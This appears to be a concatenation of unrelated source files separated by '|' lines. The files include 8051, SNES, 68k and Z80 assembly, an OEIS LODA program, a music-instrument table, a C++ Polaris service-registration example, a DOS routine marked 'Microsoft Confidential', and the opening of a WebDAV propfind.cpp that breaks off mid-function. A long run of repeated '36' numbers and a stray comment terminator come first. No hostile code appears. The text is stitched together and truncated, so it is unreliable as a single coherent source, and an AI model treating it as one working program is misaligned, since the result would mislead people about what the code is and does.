36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
org 0h
mov a, #0FFh
mov p1, a
mov a, p1
mov b, #100
div ab
add a, #30h
mov 40h, a
mov a, b
mov b, #10
div ab
add a, #30h
mov 41h, a
mov a, b
add a, #30h
mov 42h, a
end
|
; A test file which displays both a scrollable gradient and vertical waves on layer 1 and 2.
; To be inserted as a level.
!FreeRAM_GradBank = $7F ;\
!FreeRAM_RedGreen = $1343 ; | Just to note: These all belong together. That means, these addresses aren't supposed to be converted if you use SA-1
!FreeRAM_Blue = $16A3 ;/
!Layer = 1 ; The layer in which the HDMA is rooted.
!Offset = $0000 ; How much is the table shifted
!ScrollFactor = 0 ; The division is exponential, using 2 as its base.
; Address of HDMA table
!HdmaDataTable = $1853 ; Must be in bank $7F (or whatever is set in !WaveTableBase)
; HDMA set up
!AffectedLayer1 = 1 ; The layer which the HDMA affects.
!Scroll1 = 1 ; 0 for horizontal waves, 1 for vertical waves
!Channel1 = 5 ; The HDMA channel for the waves
; HDMA set up
!AffectedLayer2 = 2 ; The layer which the HDMA affects.
!Scroll2 = 1 ; 0 for horizontal waves, 1 for vertical waves
!Channel2 = 6 ; The HDMA channel for the waves
; Waves set up
!Speed = $0040 ; How fast the wave should move (value is internally divided by 256)
!Wavelength = $20 ; How many scanlines until the waves repeat.
!Amplitude = $02 ; How far the waves move. Set to $80 for inverted waves
!Alternate = 0 ; Set this to 1 so the waves alternate each scanline.
!DataTable1 = !HdmaDataTable ; Data of first table
!DataTable2 = !DataTable1+448 ; Data of second table
init:
LDA #$17 ;\ BG1, BG2, BG3, OBJ on main screen (TM)
STA $212C ; |
LDA #$00 ; | 0 on main screen should use windowing. (TMW)
STA $212E ;/
LDA #$00 ;\ 0 on sub screen (TS)
STA $212D ; |
LDA #$00 ; | 0 on sub screen should use windowing. (TSW)
STA $212F ;/
LDA #$37 ; BG1, BG2, BG3, OBJ, Backdrop for color math
STA $40 ;/ mirror of $2131
REP #$10
LDX.w #Gradient
STX $00
LDA.b #Gradient>>16
STA $02
LDA.b #!FreeRAM_GradBank
LDX.w #!FreeRAM_RedGreen
LDY.w #!FreeRAM_Blue
JSL ScrollHDMA_init
%InitWave(bgof2reg(!AffectedLayer1, !Scroll1), !Channel1, Waves_HDMAPtrs)
%InitWave(bgof2reg(!AffectedLayer2, !Scroll2), !Channel2, HDMAPtrs2)
JMP HandleWaves
main:
LDA $9D
ORA $13D4|!addr
BEQ HandleWaves
RTL
HandleWaves:
%RunWave(!Speed)
WDM
%WaveStoreOffset(!AffectedLayer1)
%CallWave(!Wavelength, !Amplitude, 0, bgof2addr(!AffectedLayer1, !Scroll1), !Alternate*$80, !DataTable1, 224)
WDM
%WaveStoreOffset(!AffectedLayer2)
%CallWave(!Wavelength, !Amplitude, 0, bgof2addr(!AffectedLayer2, !Scroll2), !Alternate*$80, !DataTable2, 224)
RTL
nmi:
REP #$20
LDA #!FreeRAM_RedGreen
STA $00
LDA #!FreeRAM_Blue
STA $02
LDA $1C+((!Layer-1)<<2)
SEC : SBC.w #!Offset
LSR #!ScrollFactor
JML ScrollHDMA_main
Gradient:
db $80,$20,$40,$80
db $4C,$20,$40,$80
db $05,$21,$40,$80
db $05,$22,$40,$80
db $04,$23,$41,$80
db $05,$24,$41,$80
db $05,$25,$41,$80
db $05,$26,$41,$80
db $05,$27,$41,$80
db $04,$28,$42,$80
db $05,$29,$42,$80
db $05,$2A,$42,$81
db $05,$2B,$42,$81
db $05,$2C,$42,$81
db $01,$2D,$42,$81
db $03,$2D,$43,$81
db $05,$2E,$43,$81
db $05,$2F,$43,$81
db $05,$30,$43,$81
db $05,$31,$43,$81
db $01,$32,$43,$81
db $04,$32,$44,$81
db $04,$33,$44,$81
db $06,$34,$44,$81
db $04,$34,$45,$81
db $02,$35,$45,$81
db $07,$35,$46,$81
db $03,$35,$47,$81
db $03,$36,$47,$81
db $06,$36,$48,$81
db $04,$36,$49,$81
db $03,$37,$49,$81
db $06,$37,$4A,$81
db $04,$37,$4B,$81
db $02,$38,$4B,$81
db $06,$38,$4C,$81
db $05,$38,$4D,$81
db $02,$39,$4D,$81
db $06,$39,$4E,$81
db $04,$39,$4F,$81
db $02,$3A,$4F,$81
db $06,$3A,$50,$81
db $05,$3A,$51,$81
db $02,$3B,$51,$81
db $04,$3B,$52,$81
db $02,$3B,$52,$82
db $05,$3B,$53,$82
db $01,$3C,$53,$82
db $07,$3C,$54,$82
db $05,$3C,$55,$82
db $01,$3D,$55,$82
db $06,$3D,$56,$82
db $06,$3D,$57,$82
db $07,$3E,$58,$82
db $05,$3E,$59,$82
db $00
HDMAPtrs2:
db $F0 : dw !DataTable2
db $F0 : dw !DataTable2+$E0
db $00
|
; A059542: Beatty sequence for 1 + 1/log(2).
; Submitted by Christian Krause
; 2,4,7,9,12,14,17,19,21,24,26,29,31,34,36,39,41,43,46,48,51,53,56,58,61,63,65,68,70,73,75,78,80,83,85,87,90,92,95,97,100,102,105,107,109,112,114,117,119,122,124,127,129,131,134,136,139,141,144,146,149,151,153,156,158,161,163,166,168,170,173,175,178,180,183,185,188,190,192,195,197,200,202,205,207,210,212,214,217,219,222,224,227,229,232,234,236,239,241,244
add $0,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$0
mul $2,$3
add $1,$2
div $1,$0
sub $2,2
div $2,$0
sub $3,1
max $3,1
mov $4,$0
lpe
mul $1,$0
div $1,$2
mov $0,$1
lpb $0
div $0,2
add $4,1
lpe
mov $0,$4
sub $0,1
|
;all sources Licensed under the 3-Clause BSD License
;Copyright 2021, Martin 'enthusi' Wendt / PriorArt
;-----------------------------------------------------------
;Demo tune VBDemo01.s3m is Licensed under the 3-Clause BSD License
;Copyright 2021, Kamil 'jammer' Wolnikowski
begin_instruments
EVEN 4
INSTRUMENT_TABLE
dw 0;dummy script_instrument0 ;0
dw instrument_kick1 ;1
dw instrument_bass1; 2
dw instrument_hihatbass1; 3
dw instrument_stickbass1 ;4
dw instrument_rhodes1 ;5
dw instrument_rhodes1delay ;6
dw instrument_rhodes2 ;7
dw instrument_rhodes3 ;8
dw instrument_noisesnare1 ;9
dw instrument_snare1 ;10
dw instrument_brass1; 11
dw instrument_brass1legato; 12
dw instrument_brass1echo; 13
dw instrument_brass2; 14
dw instrument_funkyguitar1; 15
dw instrument_shortfunkyguitar1; 16
dw instrument_shortfunkyguitar2; 17
dw instrument_shortfunkyguitar3; 18
dw instrument_funkyguitardirt1; 19
dw instrument_funkyguitardirt2; 20
dw instrument_funkyguitardirt3; 21
dw instrument_piano1; 22
;techdemo instruments
dw example_plain ;23/9
dw example_vibrato ;24/;10
dw example_instrument ;25/11
dw example_instrument_2 ;26/12
dw example_instrument_3 ;27/13
dw example_simplewave; 28/14
;-----------------------------------------------------------
;in this order:
HARDNOTE equ 64 ;8 affects BASENOTE
VOL equ 8 ;8 (4)
WAVE equ 4 ;8 (3)
NOTE_OFF equ 16 ;8 based on BASENOTE (not touching BASENOTE!)
FREQ_OFF equ 32 ;8 based on BASENOTE (not in combo with NOTE_OFF!)
LOOPER equ 128 ;8
;-----------------------------------------------------------
EVEN 4
script_instrument0
db 1, VOL, 0
db 0
instrument_kick1
db 1, HARDNOTE | VOL | WAVE, 20, 1, 63, 0
db 1, HARDNOTE | VOL | WAVE, 14, 0, 63, 0
db 1, HARDNOTE | VOL | WAVE, 10, 1, 63, 0
db 1, HARDNOTE | VOL | WAVE, 5, 0, 48, 0
db 1, HARDNOTE | VOL | WAVE, 0, 1, 32, 0
db 1, VOL, 0
db 0
instrument_snare1
db 1, HARDNOTE | VOL | WAVE, 24, 2, 63, 0
db 1, HARDNOTE | VOL | WAVE, 20, 2, 63, 0
db 1, HARDNOTE | VOL | WAVE, 18, 2, 63, 0
db 1, HARDNOTE | VOL | WAVE, 16, 2, 63, 0
db 1, HARDNOTE | VOL | WAVE, 12, 2, 63, 0
db 1, VOL, 0
db 0
instrument_bass1
db 1, VOL | WAVE | NOTE_OFF, 63, $87, 26
db 1, VOL, 32
db 1, VOL, 16
db 8, VOL, 12
db 1, VOL, 0
db 0
instrument_hihatbass1
db 1, HARDNOTE | VOL | WAVE, 95, 0, 16, $81
db 1, VOL | WAVE | NOTE_OFF, 63, $87, 26
db 1, VOL, 32
db 1, VOL, 16
db 8, VOL, 12
db 1, VOL, 0
db 0
instrument_stickbass1
db 1, HARDNOTE | VOL | WAVE, 60, 0, 63, $84
db 1, HARDNOTE | VOL | WAVE, 60, 0, 63, $81
db 1, VOL | WAVE | NOTE_OFF, 63, $87, 26
db 1, VOL, 32
db 1, VOL, 16
db 8, VOL, 12
db 1, VOL, 0
db 0
instrument_noisesnare1
db 1, HARDNOTE | VOL | WAVE, 90, 0, 63, $80
db 1, HARDNOTE | VOL | WAVE, 60, 0, 63, $80
db 1, VOL, 32
db 1, VOL, 16
db 3, VOL, 8
db 1, VOL, 0
db 0
instrument_rhodes1
db 1, VOL | WAVE | NOTE_OFF, 63, 1, (0 & 255)
db 1, VOL, 40
db 1, VOL, 38
db 1, VOL, 36
db 1, VOL, 34
db 1, VOL, 32
db 1, VOL, 30
db 1, VOL, 28
db 1, VOL, 26
db 1, VOL, 24
db 1, VOL, 20
db 1, VOL, 18
db 1, VOL, 14
db 1, VOL, 12
instrument_rhodes1_loopstart
db 1, FREQ_OFF, (2 & $ff)
db 1, FREQ_OFF, (4 & $ff)
db 1, FREQ_OFF, (6 & $ff)
db 1, FREQ_OFF, (4 & $ff)
db 1, FREQ_OFF, (2 & $ff)
db 1, FREQ_OFF, (0 & $ff)
db 1, FREQ_OFF, (-2 & $ff)
db 1, FREQ_OFF, (-4 & $ff)
db 1, FREQ_OFF, (-6 & $ff)
db 1, FREQ_OFF, (-4 & $ff)
db 1, FREQ_OFF, (-2 & $ff)
db 1, FREQ_OFF, (0 & $ff)
instrument_rhodes1_loopend
db 1, LOOPER, (instrument_rhodes1_loopend - instrument_rhodes1_loopstart)
instrument_rhodes1delay
db 4, VOL, 63
instrument_rhodes1delay_loopend
db 1, LOOPER, (instrument_rhodes1delay_loopend - instrument_rhodes1)
instrument_rhodes2
db 1, VOL | WAVE | NOTE_OFF, 63, 1, (-12 & 255)
db 1, VOL | WAVE | NOTE_OFF, 63, 1, (24 & 255)
db 1, VOL | WAVE | NOTE_OFF, 63, 1, (-12 & 255)
db 1, VOL, 40
db 1, VOL, 38
db 1, VOL, 36
db 1, VOL, 34
db 1, VOL, 32
db 1, VOL, 28
db 1, VOL, 24
db 1, VOL, 20
db 1, VOL, 16
db 1, VOL, 12
instrument_rhodes2_loopend
db 1, LOOPER, (instrument_rhodes2_loopend - instrument_rhodes1_loopstart)
instrument_rhodes3
db 1, VOL | WAVE | NOTE_OFF, 63, 1, (12 & 255)
db 1, VOL | WAVE | NOTE_OFF, 63, 2, (-12 & 255)
instrument_rhodes3_loopend
db 1, LOOPER, (instrument_rhodes3_loopend - instrument_rhodes1_loopstart)
instrument_piano1
db 1, VOL | WAVE | NOTE_OFF, 48, 1, (0 & 255)
db 1, VOL, 63
db 1, VOL, 48
db 1, VOL, 34
db 1, VOL, 32
db 1, VOL, 30
db 1, VOL, 28
db 1, VOL, 26
db 1, VOL, 24
db 1, VOL, 20
db 1, VOL, 18
db 1, VOL, 14
db 1, VOL, 12
db 1, VOL, 10
db 1, VOL, 08
instrument_piano1_loopend
db 1, LOOPER, (instrument_piano1_loopend - instrument_rhodes1_loopstart)
instrument_brass1
db 1, VOL | WAVE | NOTE_OFF, 60, 4, 0
db 1, VOL, 63
db 1, VOL, 62
db 6, VOL, 60
instrument_brass1_loopstart
db 1, FREQ_OFF, (8 & $ff)
db 1, FREQ_OFF, (16 & $ff)
db 1, FREQ_OFF, (8 & $ff)
db 1, FREQ_OFF, (0 & $ff)
db 1, FREQ_OFF, (-8 & $ff)
db 1, FREQ_OFF, (-16 & $ff)
db 1, FREQ_OFF, (-8 & $ff)
db 1, FREQ_OFF, (0 & $ff)
instrument_brass1_loopend
db 1, LOOPER, (instrument_brass1_loopend - instrument_brass1_loopstart)
instrument_brass1legato
db 1, VOL | WAVE | NOTE_OFF, 56, 4, 0
db 0
instrument_brass1echo
db 1, WAVE | NOTE_OFF, 4, 0
db 0
instrument_brass2
db 3, VOL | WAVE | NOTE_OFF, 63, 3, (-2 & 255)
db 3, VOL | WAVE | NOTE_OFF, 63, 3, (1 & 255)
db 1, VOL | WAVE | NOTE_OFF, 63, 3, (1 & 255)
instrument_brass2_loopstart
db 1, VOL, 32
db 1, VOL, 63
instrument_brass2_loopend
db 1, LOOPER, (instrument_brass2_loopend - instrument_brass2_loopstart)
instrument_funkyguitar1
db 1, VOL | WAVE | NOTE_OFF, 63, 3, (0 & 255)
db 1, VOL | WAVE, 63, 2
db 1, VOL | WAVE, 56, 1
db 1, VOL | WAVE, 48, 2
db 1, VOL | WAVE, 32, 3
db 0
instrument_shortfunkyguitar1
db 1, VOL | WAVE | NOTE_OFF, 63, 3, (0 & 255)
db 1, VOL | WAVE, 48, 2
db 3, VOL | WAVE, 32, 1
db 1, VOL, 0
db 0
instrument_shortfunkyguitar2
db 1, VOL | WAVE | NOTE_OFF, 63, 1, (0 & 255)
db 1, VOL | WAVE, 48, 2
db 3, VOL | WAVE, 32, 3
db 1, VOL, 0
db 0
instrument_shortfunkyguitar3
db 1, VOL | WAVE | NOTE_OFF, 63, 2, (0 & 255)
db 1, VOL | WAVE, 48, 1
db 3, VOL | WAVE, 32, 3
db 1, VOL, 0
db 0
instrument_funkyguitardirt1
db 1, VOL | WAVE | NOTE_OFF, 64, 2, (0 & 255)
db 1, VOL | WAVE, 32, 3
db 1, VOL, 0
db 0
instrument_funkyguitardirt2
db 1, VOL | WAVE | NOTE_OFF, 32, 2, (0 & 255)
db 1, VOL, 0
db 0
instrument_funkyguitardirt3
db 1, VOL | WAVE | NOTE_OFF, 32, 3, (0 & 255)
db 1, VOL, 0
db 0
;examples
example_plain
db 35, WAVE, 0
db 1, VOL, 0
db 0
example_vibrato
db 2, WAVE | NOTE_OFF, 1, 1
_loopstart1
db 1, FREQ_OFF, (-5 & $ff)
db 1, FREQ_OFF, (-7 & $ff)
db 1, FREQ_OFF, (-9 & $ff)
db 1, FREQ_OFF, (-7 & $ff)
db 1, FREQ_OFF, (-5 & $ff)
db 1, FREQ_OFF, (-3 & $ff)
db 1, FREQ_OFF, (-1 & $ff)
db 1, FREQ_OFF, ( 1 & $ff)
db 1, FREQ_OFF, (-1 & $ff)
_loopend1
db 1, LOOPER, (_loopend1 - _loopstart1 )
db 0
example_instrument
db 3, WAVE, 0
db 3, WAVE, 1
db 3, WAVE, 2
db 3, WAVE, 3
db 3, WAVE, 4
db 3, WAVE, 5
db 0
example_instrument_2
db 1, WAVE, 1
db 0
example_instrument_3
db 1, WAVE, 1
_loopstart3
db 1, FREQ_OFF, 0
db 1, FREQ_OFF, 2
db 1, FREQ_OFF, 4
db 1, FREQ_OFF, 6
db 1, FREQ_OFF, 8
db 1, FREQ_OFF, 10
db 1, FREQ_OFF, 12
db 1, FREQ_OFF, 14
db 1, FREQ_OFF, 12
db 1, FREQ_OFF, 10
db 1, FREQ_OFF, 8
db 1, FREQ_OFF, 6
db 1, FREQ_OFF, 4
db 1, FREQ_OFF, 2
_loopend3
db 1, LOOPER, (_loopend3 - _loopstart3 )
db 0
example_simplewave
db 1, WAVE, 0
db 0
end_instruments
;-----------------------------------------------------------
EVEN 4
WAVESET_TABLE
db 0, 1, 2, 3, 4, 0, 0, 0; d#2 ;used by song
db -1, 5, 6,-1,-1, 0, 0, 0; e-2 ;used by song
db 10,-1,-1,-1,-1, 0, 0, 0 ;f-2
db 9,-1,-1,-1,-1, 0, 0, 0 ;f#2 set all waves to default
db 8,-1,-1,-1,-1, 0, 0, 0 ;g-2
db 7,-1,-1,-1,-1, 0, 0, 0 ;g#2
db 1,-1,-1,-1,-1, 0, 0, 0 ;a-2
db 3,-1,-1,-1,-1, 0, 0, 0 ;a#2
db 11,-1,-1,-1,-1, 0, 0, 0 ;b-2
db -1,-1,-1,-1,-1, 0, 0, 0 ; example change NOTHING -1 = skip
EVEN 4
MY_WAVE_0
LIBBIN Waveforms/sine.dat ;d#2 ; 0
LIBBIN Waveforms/WaveRhodes01.dat ;e-2 ; 1
LIBBIN Waveforms/WaveRhodes02.dat ;f-2 ; 2
LIBBIN Waveforms/WaveFunkyGuitar04.dat ;f#2 ; 3
LIBBIN Waveforms/WaveBrass02.dat ;g-2 ; 4
LIBBIN Waveforms/WaveFunkyGuitar06.dat ;g#2 ; 5
LIBBIN Waveforms/WaveFunkyGuitar05.dat ;a-2 ; 6
LIBBIN Waveforms/saw.dat ;a#2 ; 7
LIBBIN Waveforms/square.dat ;b-2 ; 8
LIBBIN Waveforms/deltapeak.dat ;c-3 ; 9
LIBBIN Waveforms/wario.dat ;c#3 ;10
LIBBIN Waveforms/flute.dat ;d-3 ;11
beginaudiodata
NOTES_LO
LIBBIN note_timelo_0.bin
NOTES_HI
LIBBIN note_timehi_0.bin
;------------------------------------------------
audio_data
EVEN 4
COL_TABLE dw COL_PTR0, COL_PTR1, COL_PTR2
dw COL_PTR3, COL_PTR4, COL_PTR5
COL_OFF_TABLE dw COL_OFFSETS0, COL_OFFSETS1, COL_OFFSETS2
dw COL_OFFSETS3, COL_OFFSETS4, COL_OFFSETS5
EVEN 4
PLAYLIST
LIBBIN VBDemo01_playlist.bin
db $ff ;end marker
;----------------------------------------------------
EVEN 4
COL_PTR0
LIBBIN col_ptr0.dat
EVEN 4
COL_PTR1
LIBBIN col_ptr1.dat
EVEN 4
COL_PTR2
LIBBIN col_ptr2.dat
EVEN 4
COL_PTR3
LIBBIN col_ptr3.dat
EVEN 4
COL_PTR4
LIBBIN col_ptr4.dat
EVEN 4
COL_PTR5
LIBBIN col_ptr5.dat
;----------------------------------------------------
EVEN 4
COL_OFFSETS0
LIBBIN col_offsets0.dat
EVEN 4
COL_OFFSETS1
LIBBIN col_offsets1.dat
EVEN 4
COL_OFFSETS2
LIBBIN col_offsets2.dat
EVEN 4
COL_OFFSETS3
LIBBIN col_offsets3.dat
EVEN 4
COL_OFFSETS4
LIBBIN col_offsets4.dat
EVEN 4
COL_OFFSETS5
LIBBIN col_offsets5.dat
;----------------------------------------------------
EVEN 4
CHANNEL0
LIBBIN channel0_stream4.dat
; EVEN 4
CHANNEL1
LIBBIN channel1_stream4.dat
; EVEN 4
CHANNEL2
LIBBIN channel2_stream4.dat
;EVEN 4
CHANNEL3
LIBBIN channel3_stream4.dat
;EVEN 4
CHANNEL4
LIBBIN channel4_stream4.dat
;EVEN 4
CHANNEL5
LIBBIN channel5_stream4.dat
EVEN 4
CHANNEL_START equ CHANNEL0
CHANNEL_TABLE dw CHANNEL0-CHANNEL0+CHANNEL_START, CHANNEL1-CHANNEL0+CHANNEL_START, CHANNEL2-CHANNEL0+CHANNEL_START
dw CHANNEL3-CHANNEL0+CHANNEL_START, CHANNEL4-CHANNEL0+CHANNEL_START, CHANNEL5-CHANNEL0+CHANNEL_START
endaudiodata
|
SECTION rodata_clib
PUBLIC CRT_FONT
defc CRT_FONT = 15616
|
#include <signal.h>
#include <unistd.h>
#include <string>
#include "PolarisManager.h"
#include "workflow/WFFacilities.h"
#include "workflow/WFHttpServer.h"
using namespace polaris;
static WFFacilities::WaitGroup register_wait_group(1);
static WFFacilities::WaitGroup deregister_wait_group(1);
void sig_handler(int signo)
{
register_wait_group.done();
deregister_wait_group.done();
}
int main(int argc, char *argv[])
{
if (argc != 6) {
fprintf(stderr, "USAGE:\n\t%s <polaris cluster> "
"<namespace> <service_name> <localhost> <port>\n\n", argv[0]);
exit(1);
}
signal(SIGINT, sig_handler);
std::string polaris_url = argv[1];
std::string service_namespace = argv[2];
std::string service_name = argv[3];
std::string host = argv[4];
std::string port = argv[5];
if (strncasecmp(argv[1], "http://", 7) != 0 &&
strncasecmp(argv[1], "https://", 8) != 0) {
polaris_url = "http://" + polaris_url;
}
WFHttpServer server([port](WFHttpTask *task) {
task->get_resp()->append_output_body(
"Response from instance 127.0.0.1:" + port);
});
if (server.start(atoi(port.c_str())) != 0) {
fprintf(stderr, "start server error\n");
return 0;
}
PolarisManager mgr(polaris_url);
PolarisInstance instance;
instance.set_host(host);
instance.set_port(atoi(port.c_str()));
std::map<std::string, std::string> meta = {{"key1", "value1"}};
instance.set_metadata(meta);
instance.set_region("south-china");
instance.set_zone("shenzhen");
int ret = mgr.register_service(service_namespace, service_name,
std::move(instance));
fprintf(stderr, "Register %s %s %s %s ret=%d.\n",
service_namespace.c_str(), service_name.c_str(),
host.c_str(), port.c_str(), ret);
fprintf(stderr, "Success. Press Ctrl-C to exit.\n");
register_wait_group.wait();
if (ret == 0) {
bool deregister_ret = mgr.deregister_service(service_namespace,
service_name,
std::move(instance));
fprintf(stderr, "Deregister %s %s %s %s ret=%d.\n",
service_namespace.c_str(), service_name.c_str(),
host.c_str(), port.c_str(), deregister_ret);
deregister_wait_group.wait();
}
server.stop();
return 0;
}
|
; ========================================================
COMMENT #
DATAVERS.ASM
Copyright (c) 1991 - Microsoft Corp.
All rights reserved.
Microsoft Confidential
johnhe - 03/03/89
END COMMENT #
;========================================================
include BIOS_IO.INC
include MODEL.INC
.CODE
; ========================================================
;
; Returns the DOS Data version from DOSDATA:04h
;
; int GetDosDataVersion( void );
;
; ========================================================
GetDosDataVersion PROC USES ES
mov AH,34h ; DOS get critical flag address
int 21h
mov BX,4 ; Put address of DATA version in BX
mov AL,ES:[BX] ; Get DATA version byte
cbw ; Convert AL to an integer
ret
GetDosDataVersion ENDP
; ========================================================
END
; ========================================================
|
; dev8_uti_cv_hexda_asm
include dev8_keys_err
section utility
xdef cv_hexda
;+++
; convert hex-long to decimal-ascii
;
; ENTRY EXIT
; D0 error
; D1.l hex preserved
; D2.w how many bytes smashed
; A1 buffer preserved
;
; Error return: err.imem if d2 too high
; Condition code set
;---
cvreg reg d1-d3/a2-a3/a6
stfr equ $20
cv_hexda
movem.l cvreg,-(sp)
sub.l #stfr,sp
move.l sp,a6 ; prepare workspace
moveq #err.imem,d0 ;
move.l d2,d3 ; copy how many byrtes
sub.l #stfr-8,d3
bhi.s convert_rts ; return with error
move.l a1,a2 ; copy addr. of buffer
move.l d2,d3 ; how many bytes
bra.s blank_loop_end
blank_loop
move.b #' ',(a1)+
blank_loop_end
dbra d3,blank_loop ; buffer now only blanks
lea $2(a6),a1 ; our workspace
move.l d2,d3 ; how many bytes
bra.s zero_loop_end
zero_loop
move.b #'0',(a1)+
zero_loop_end
dbra d3,zero_loop ; workspace now only zeros
move.l a2,a1 ; restore buffer
add.l #2,a1 ; .w number of chars
lea $2(a6),a3
move.w d2,-(sp)
move.w d2,d3 ; copy how many bytes
bsr.s help_div
bra.s convert_loop_end
convert_loop
move.b -(a1),$0(a3,d3.w)
convert_loop_end
subq.w #1,d3 ; sub how many bytes
cmpa.l a1,a2
bne.s convert_loop
move.w (sp)+,d2 ; restore how many bytes
move.w d2,(a1) ; number of chars
moveq #0,d0 ; no error
convert_rts
add.l #stfr,sp ; adjust stack
movem.l (sp)+,cvreg
tst.l d0
rts
help_div
divu #1000,d1
clr.l d2
move.w d1,d2
bsr.s help_d1
swap d1
move.w d1,d2
help_d1
movem.l d2,-(a7)
divu #100,d2
ori.b #'0',d2
move.b d2,(a1)+
swap d2
andi.l #$ffff,d2
divu #10,d2
ori.b #'0',d2
move.b d2,(a1)+
swap d2
andi.l #$ffff,d2
ori.b #'0',d2
move.b d2,(a1)+
movem.l (a7)+,d2
rts
end
|
SECTION code_driver
PUBLIC _acia_interrupt
EXTERN aciaRxCount, aciaRxIn, aciaRxBuffer
EXTERN aciaTxCount, aciaTxOut, aciaTxBuffer, aciaControl
EXTERN ACIA_STATUS_ADDR, ACIA_RDRF, ACIA_DATA_ADDR, ACIA_RX_SIZE, ACIA_RX_FULLISH
EXTERN ACIA_TDRE, ACIA_TX_SIZE, ACIA_TEI_MASK, ACIA_TDI_RTS0, ACIA_CTRL_ADDR, ACIA_TDI_RTS1
_acia_interrupt:
push af
push hl
; start doing the Rx stuff
in a, (ACIA_STATUS_ADDR) ; get the status of the ACIA
and ACIA_RDRF ; check whether a byte has been received
jr z, tx_check ; if not, go check for bytes to transmit
in a, (ACIA_DATA_ADDR) ; Get the received byte from the ACIA
push af
ld a, (aciaRxCount) ; Get the number of bytes in the Rx buffer
cp ACIA_RX_SIZE ; check whether there is space in the buffer
jr c, poke_rx ; not full, so go poke Rx byte
pop af ; buffer full so drop the Rx byte
jr tx_check ; check if we can send something
poke_rx:
ld hl, (aciaRxIn) ; get the pointer to where we poke
pop af ; get Rx byte
ld (hl), a ; write the Rx byte to the aciaRxIn
inc hl ; move the Rx pointer along
ld a, l ; move low byte of the Rx pointer
cp (aciaRxBuffer + ACIA_RX_SIZE) & $FF
jr nz, no_rx_wrap
ld hl, aciaRxBuffer ; we wrapped, so go back to start of buffer
no_rx_wrap:
ld (aciaRxIn), hl ; write where the next byte should be poked
ld hl, aciaRxCount
inc (hl) ; atomically increment Rx count
; now start doing the Tx stuff
tx_check:
ld a, (aciaTxCount) ; get the number of bytes in the Tx buffer
or a ; check whether it is zero
jr z, tei_clear ; if the count is zero, then disable the Tx Interrupt
in a, (ACIA_STATUS_ADDR) ; get the status of the ACIA
and ACIA_TDRE ; check whether a byte can be transmitted
jr z, rts_check ; if not, go check for the receive RTS selection
ld hl, (aciaTxOut) ; get the pointer to place where we pop the Tx byte
ld a, (hl) ; get the Tx byte
out (ACIA_DATA_ADDR), a ; output the Tx byte to the ACIA
inc hl ; move the Tx pointer along
ld a, l ; get the low byte of the Tx pointer
cp (aciaTxBuffer + ACIA_TX_SIZE) & $FF
jr nz, no_tx_wrap
ld hl, aciaTxBuffer ; we wrapped, so go back to start of buffer
no_tx_wrap:
ld (aciaTxOut), hl ; write where the next byte should be popped
ld hl, aciaTxCount
dec (hl) ; atomically decrement current Tx count
jr nz, tx_end ; if we've more Tx bytes to send, we're done for now
tei_clear:
ld a, (aciaControl) ; get the ACIA control echo byte
and ~ACIA_TEI_MASK ; mask out the Tx interrupt bits
or ACIA_TDI_RTS0 ; mask out (disable) the Tx Interrupt, keep RTS low
ld (aciaControl), a ; write the ACIA control byte back
out (ACIA_CTRL_ADDR), a ; Set the ACIA CTRL register
rts_check:
ld a, (aciaRxCount) ; get the current Rx count
cp ACIA_RX_FULLISH ; compare the count with the preferred full size
jr c, tx_end ; leave the RTS low, and end
ld a, (aciaControl) ; get the ACIA control echo byte
and ~ACIA_TEI_MASK ; mask out the Tx interrupt bits
or ACIA_TDI_RTS1 ; Set RTS high, and disable Tx Interrupt
ld (aciaControl), a ; write the ACIA control echo byte back
out (ACIA_CTRL_ADDR), a ; Set the ACIA CTRL register
tx_end:
pop hl
pop af
ei
reti
EXTERN _acia_need
defc NEED = _acia_need
|
// --------------------------------------------------------------------------------
// propfind.cpp
// Copyright (c)1998 Microsoft Corporation, All Rights Reserved
// Greg Friedman
// --------------------------------------------------------------------------------
#include <pch.hxx>
#include "propfind.h"
#include "strconst.h"
#include "davstrs.h"
#include <shlwapi.h>
#define FAIL_EXIT_STREAM_WRITE(stream, psz) \
if (FAILED(hr = stream.Write(psz, lstrlen(psz), NULL))) \
goto exit; \
else
#define FAIL_EXIT(hr) \
if (FAILED(hr)) \
goto exit; \
else
const ULONG c_ulGrowSize = 4;
static const char *g_rgszNamespaces[] =
{
c_szDAVDavNamespace,
c_szDAVHotMailNamespace,
c_szDAVHTTPMailNamespace,
c_szDAVMailNamespace,
c_szDAVContactsNamespace
};
// predefine the first 10 namespace prefixes. if custom namespaces
// exceed the predefined set, additional prefixes are generated on
// the fly.
static const char *g_rgszNamespacePrefixes[] =
{
c_szDavNamespacePrefix,
c_szHotMailNamespacePrefix,
c_szHTTPMailNamespacePrefix,
c_szMailNamespacePrefix,
c_szContactsNamespacePrefix,
"_5",
"_6",
"_7",
"_8",
"_9"
};
const DWORD c_dwMaxDefinedNamespacePrefix = 10;
CStringArray::CStringArray(void) :
m_rgpszValues(NULL),
m_ulLength(0),
m_ulCapacity(0)
{
}
CStringArray::~CStringArray(void)
{
for (ULONG i = 0; i < m_ulLength; ++i)
{
if (NULL != m_rgpszValues[i])
MemFree((void *)m_rgpszValues[i]);
}
SafeMemFree(m_rgpszValues);
}
HRESULT CStringArray::Add(LPCSTR psz)
{
if (NULL == psz)
return E_INVALIDARG;
if (m_ulLength == m_ulCapacity && !Expand())
